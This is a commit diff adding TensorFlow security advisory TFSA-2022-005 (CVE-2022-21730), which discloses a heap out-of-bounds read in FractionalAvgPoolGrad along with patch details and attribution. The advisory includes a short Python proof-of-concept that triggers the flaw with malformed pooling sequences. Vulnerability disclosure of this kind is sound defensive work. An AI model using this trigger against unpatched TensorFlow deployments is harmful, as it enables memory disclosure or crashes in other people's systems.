chore: import upstream snapshot with attribution

tensorflow/security/advisory/tfsa-2022-005.md

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+## TFSA-2022-005: Heap OOB access in `FractionalAvgPoolGrad`
+
+### CVE Number
+CVE-2022-21730
+
+### Impact
+The [implementation of `FractionalAvgPoolGrad`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360) does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap:
+
+```python
+import tensorflow as tf
+
+@tf.function
+def test():
+  y = tf.raw_ops.FractionalAvgPoolGrad(
+    orig_input_tensor_shape=[2,2,2,2],
+    out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]],
+    row_pooling_sequence=[-10,1,2,3],
+    col_pooling_sequence=[1,2,3,4],
+    overlapping=True)
+  return y
+
+test()
+```
+
+### Patches
+We have patched the issue in GitHub commit [002408c3696b173863228223d535f9de72a101a9](https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9).
+
+The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
+
+### For more information
+Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
+
+### Attribution
+This vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.